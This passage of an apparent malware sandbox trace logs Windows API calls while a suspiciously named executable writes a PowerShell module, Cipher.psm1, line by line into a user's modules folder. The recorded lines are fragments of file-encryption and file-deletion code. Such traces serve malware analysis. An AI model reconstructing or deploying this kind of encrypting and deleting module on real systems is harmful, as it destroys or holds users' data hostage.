(hFile=0x7) returned 0x2 [0063.504] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.504] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cd5ac | out: lpMode=0x1cd5ac) returned 1 [0063.505] _dup (_FileHandle=1) returned 3 [0063.505] _close (_FileHandle=1) returned 0 [0063.505] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.506] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cd57c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.506] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.506] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.506] GetFileType (hFile=0x1c) returned 0x1 [0063.506] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x132a [0063.506] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cd594*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd594*=0) returned 0x1329 [0063.506] ReadFile (in: hFile=0x1c, lpBuffer=0x1cd58c, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cd588, lpOverlapped=0x0 | out: lpBuffer=0x1cd58c*, lpNumberOfBytesRead=0x1cd588*=0x1, lpOverlapped=0x0) returned 1 [0063.506] GetConsoleTitleW (in: lpConsoleTitle=0x1cd3ac, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.506] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xac) returned 0x608c30 [0063.506] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x608c30, Size=0x38) returned 0x608c30 [0063.506] GetProcessHeap () returned 0x5d0000 [0063.506] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x608c30) returned 0x38 [0063.506] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x64) returned 0x602c90 [0063.507] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cd374 | out: _Buffer=" Catch { Write-Error $_ \r\n") returned 41 [0063.507] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.507] GetFileType (hFile=0x1c) returned 0x1 [0063.507] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.507] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" Catch { Write-Error $_ \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Catch { Write-Error $_ \r\n", lpUsedDefaultChar=0x0) returned 42 [0063.507] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x29, lpNumberOfBytesWritten=0x1cd360, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cd360*=0x29, lpOverlapped=0x0) returned 1 [0063.507] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.509] _close (_FileHandle=3) returned 0 [0063.509] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb628 [0063.509] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.509] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.509] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.509] GetFileType (hFile=0x7) returned 0x2 [0063.510] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.510] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cd548 | out: lpMode=0x1cd548) returned 1 [0063.511] _dup (_FileHandle=1) returned 3 [0063.512] _close (_FileHandle=1) returned 0 [0063.512] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.512] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cd518, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.513] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.513] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.513] GetFileType (hFile=0x1c) returned 0x1 [0063.513] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1353 [0063.513] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cd530*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd530*=0) returned 0x1352 [0063.513] ReadFile (in: hFile=0x1c, lpBuffer=0x1cd528, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cd524, lpOverlapped=0x0 | out: lpBuffer=0x1cd528*, lpNumberOfBytesRead=0x1cd524*=0x1, lpOverlapped=0x0) returned 1 [0063.513] GetConsoleTitleW (in: lpConsoleTitle=0x1cd348, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.513] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xac) returned 0x608c70 [0063.513] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x608c70, Size=0x36) returned 0x608c70 [0063.513] GetProcessHeap () returned 0x5d0000 [0063.513] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x608c70) returned 0x36 [0063.513] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x64) returned 0x602d00 [0063.513] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cd310 | out: _Buffer=" If($FileStreamWriter) \r\n") returned 41 [0063.514] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.514] GetFileType (hFile=0x1c) returned 0x1 [0063.514] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.514] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" If($FileStreamWriter) \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" If($FileStreamWriter) \r\n", lpUsedDefaultChar=0x0) returned 42 [0063.514] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x29, lpNumberOfBytesWritten=0x1cd2fc, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cd2fc*=0x29, lpOverlapped=0x0) returned 1 [0063.514] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.515] _close (_FileHandle=3) returned 0 [0063.516] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb648 [0063.516] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.516] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.516] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.516] GetFileType (hFile=0x7) returned 0x2 [0063.516] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.516] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cd4e4 | out: lpMode=0x1cd4e4) returned 1 [0063.516] _dup (_FileHandle=1) returned 3 [0063.517] _close (_FileHandle=1) returned 0 [0063.517] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.517] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cd4b4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.517] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.518] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.518] GetFileType (hFile=0x1c) returned 0x1 [0063.518] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x137c [0063.518] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cd4cc*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd4cc*=0) returned 0x137b [0063.518] ReadFile (in: hFile=0x1c, lpBuffer=0x1cd4c4, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cd4c0, lpOverlapped=0x0 | out: lpBuffer=0x1cd4c4*, lpNumberOfBytesRead=0x1cd4c0*=0x1, lpOverlapped=0x0) returned 1 [0063.518] GetConsoleTitleW (in: lpConsoleTitle=0x1cd2e4, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.518] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xcc) returned 0x608cb0 [0063.518] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x608cb0, Size=0x42) returned 0x608cb0 [0063.518] GetProcessHeap () returned 0x5d0000 [0063.518] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x608cb0) returned 0x42 [0063.518] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x74) returned 0x5ec0d8 [0063.518] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cd2ac | out: _Buffer=" { $FileStreamWriter.Close() \r\n") returned 49 [0063.518] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.518] GetFileType (hFile=0x1c) returned 0x1 [0063.518] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.519] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" { $FileStreamWriter.Close() \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" { $FileStreamWriter.Close() \r\n", lpUsedDefaultChar=0x0) returned 50 [0063.519] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0x1cd298, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cd298*=0x31, lpOverlapped=0x0) returned 1 [0063.519] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.520] _close (_FileHandle=3) returned 0 [0063.520] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb668 [0063.520] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.520] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.521] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.521] GetFileType (hFile=0x7) returned 0x2 [0063.521] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.521] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cd480 | out: lpMode=0x1cd480) returned 1 [0063.521] _dup (_FileHandle=1) returned 3 [0063.522] _close (_FileHandle=1) returned 0 [0063.522] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.522] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cd450, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.522] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.522] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.522] GetFileType (hFile=0x1c) returned 0x1 [0063.522] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x13ad [0063.522] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cd468*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd468*=0) returned 0x13ac [0063.523] ReadFile (in: hFile=0x1c, lpBuffer=0x1cd460, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cd45c, lpOverlapped=0x0 | out: lpBuffer=0x1cd460*, lpNumberOfBytesRead=0x1cd45c*=0x1, lpOverlapped=0x0) returned 1 [0063.523] GetConsoleTitleW (in: lpConsoleTitle=0x1cd280, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.523] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x130) returned 0x608d00 [0063.523] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x608d00, Size=0x70) returned 0x608d00 [0063.523] GetProcessHeap () returned 0x5d0000 [0063.523] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x608d00) returned 0x70 [0063.523] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xa6) returned 0x608d78 [0063.523] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cd248 | out: _Buffer=" Remove-Item -LiteralPath $DestinationFile -Force } \r\n") returned 74 [0063.523] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.523] GetFileType (hFile=0x1c) returned 0x1 [0063.523] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.523] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" Remove-Item -LiteralPath $DestinationFile -Force } \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Remove-Item -LiteralPath $DestinationFile -Force } \r\n", lpUsedDefaultChar=0x0) returned 75 [0063.523] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0x1cd234, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cd234*=0x4a, lpOverlapped=0x0) returned 1 [0063.523] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.525] _close (_FileHandle=3) returned 0 [0063.525] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb688 [0063.525] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.525] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.525] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.526] GetFileType (hFile=0x7) returned 0x2 [0063.526] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.526] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cd41c | out: lpMode=0x1cd41c) returned 1 [0063.526] _dup (_FileHandle=1) returned 3 [0063.527] _close (_FileHandle=1) returned 0 [0063.527] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.527] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cd3ec, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.527] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.528] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.528] GetFileType (hFile=0x1c) returned 0x1 [0063.528] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x13f7 [0063.528] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cd404*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd404*=0) returned 0x13f6 [0063.528] ReadFile (in: hFile=0x1c, lpBuffer=0x1cd3fc, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cd3f8, lpOverlapped=0x0 | out: lpBuffer=0x1cd3fc*, lpNumberOfBytesRead=0x1cd3f8*=0x1, lpOverlapped=0x0) returned 1 [0063.528] GetConsoleTitleW (in: lpConsoleTitle=0x1cd21c, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.528] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x78) returned 0x5ec158 [0063.528] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5ec158, Size=0x1c) returned 0x5fc1a8 [0063.528] GetProcessHeap () returned 0x5d0000 [0063.528] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5fc1a8) returned 0x1c [0063.528] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x4a) returned 0x608e28 [0063.528] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cd1e4 | out: _Buffer=" Continue \r\n") returned 28 [0063.528] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.528] GetFileType (hFile=0x1c) returned 0x1 [0063.528] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.528] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" Continue \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Continue \r\n", lpUsedDefaultChar=0x0) returned 29 [0063.529] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x1c, lpNumberOfBytesWritten=0x1cd1d0, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cd1d0*=0x1c, lpOverlapped=0x0) returned 1 [0063.529] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.530] _close (_FileHandle=3) returned 0 [0063.530] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb6a8 [0063.530] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.530] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.530] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.531] GetFileType (hFile=0x7) returned 0x2 [0063.531] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.531] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cd3b8 | out: lpMode=0x1cd3b8) returned 1 [0063.531] _dup (_FileHandle=1) returned 3 [0063.532] _close (_FileHandle=1) returned 0 [0063.532] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.532] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cd388, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.532] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.532] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.532] GetFileType (hFile=0x1c) returned 0x1 [0063.532] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1413 [0063.532] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cd3a0*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd3a0*=0) returned 0x1412 [0063.533] ReadFile (in: hFile=0x1c, lpBuffer=0x1cd398, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cd394, lpOverlapped=0x0 | out: lpBuffer=0x1cd398*, lpNumberOfBytesRead=0x1cd394*=0x1, lpOverlapped=0x0) returned 1 [0063.533] GetConsoleTitleW (in: lpConsoleTitle=0x1cd1b8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x128) returned 0x608e80 [0063.533] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x608e80, Size=0x74) returned 0x608e80 [0063.533] GetProcessHeap () returned 0x5d0000 [0063.533] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x608e80) returned 0x74 [0063.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xa2) returned 0x608f00 [0063.533] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cd180 | out: _Buffer=" } Finally { if($CryptoStream){$CryptoStream.Close()} \r\n") returned 72 [0063.533] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.533] GetFileType (hFile=0x1c) returned 0x1 [0063.533] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.533] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" } Finally { if($CryptoStream){$CryptoStream.Close()} \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" } Finally { if($CryptoStream){$CryptoStream.Close()} \r\n", lpUsedDefaultChar=0x0) returned 73 [0063.533] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0x1cd16c, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cd16c*=0x48, lpOverlapped=0x0) returned 1 [0063.534] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.535] _close (_FileHandle=3) returned 0 [0063.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb6c8 [0063.535] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.535] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.535] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.536] GetFileType (hFile=0x7) returned 0x2 [0063.536] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.536] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cd354 | out: lpMode=0x1cd354) returned 1 [0063.536] _dup (_FileHandle=1) returned 3 [0063.537] _close (_FileHandle=1) returned 0 [0063.537] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.537] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cd324, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.537] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.537] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.537] GetFileType (hFile=0x1c) returned 0x1 [0063.537] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x145b [0063.537] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cd33c*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd33c*=0) returned 0x145a [0063.538] ReadFile (in: hFile=0x1c, lpBuffer=0x1cd334, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cd330, lpOverlapped=0x0 | out: lpBuffer=0x1cd334*, lpNumberOfBytesRead=0x1cd330*=0x1, lpOverlapped=0x0) returned 1 [0063.538] GetConsoleTitleW (in: lpConsoleTitle=0x1cd154, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.538] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x118) returned 0x608fb0 [0063.538] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x608fb0, Size=0x6c) returned 0x608fb0 [0063.538] GetProcessHeap () returned 0x5d0000 [0063.538] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x608fb0) returned 0x6c [0063.538] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x9a) returned 0x609028 [0063.538] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cd11c | out: _Buffer=" if($FileStreamReader){$FileStreamReader.Close()} \r\n") returned 68 [0063.538] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.538] GetFileType (hFile=0x1c) returned 0x1 [0063.538] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.538] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" if($FileStreamReader){$FileStreamReader.Close()} \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" if($FileStreamReader){$FileStreamReader.Close()} \r\n", lpUsedDefaultChar=0x0) returned 69 [0063.538] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x44, lpNumberOfBytesWritten=0x1cd108, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cd108*=0x44, lpOverlapped=0x0) returned 1 [0063.538] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.540] _close (_FileHandle=3) returned 0 [0063.540] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb6e8 [0063.540] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.540] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.540] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.540] GetFileType (hFile=0x7) returned 0x2 [0063.541] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.541] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cd2f0 | out: lpMode=0x1cd2f0) returned 1 [0063.541] _dup (_FileHandle=1) returned 3 [0063.541] _close (_FileHandle=1) returned 0 [0063.542] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.542] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cd2c0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.542] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.542] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.542] GetFileType (hFile=0x1c) returned 0x1 [0063.542] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x149f [0063.542] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cd2d8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd2d8*=0) returned 0x149e [0063.542] ReadFile (in: hFile=0x1c, lpBuffer=0x1cd2d0, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cd2cc, lpOverlapped=0x0 | out: lpBuffer=0x1cd2d0*, lpNumberOfBytesRead=0x1cd2cc*=0x1, lpOverlapped=0x0) returned 1 [0063.542] GetConsoleTitleW (in: lpConsoleTitle=0x1cd0f0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.543] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x148) returned 0x6090d0 [0063.543] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6090d0, Size=0x7c) returned 0x6090d0 [0063.543] GetProcessHeap () returned 0x5d0000 [0063.543] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x6090d0) returned 0x7c [0063.543] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xb2) returned 0x609158 [0063.543] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cd0b8 | out: _Buffer=" if($FileStreamWriter){$FileStreamWriter.Close()} } } } } \r\n") returned 80 [0063.543] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.543] GetFileType (hFile=0x1c) returned 0x1 [0063.543] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.543] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" if($FileStreamWriter){$FileStreamWriter.Close()} } } } } \r\n", cchWideChar=-1, 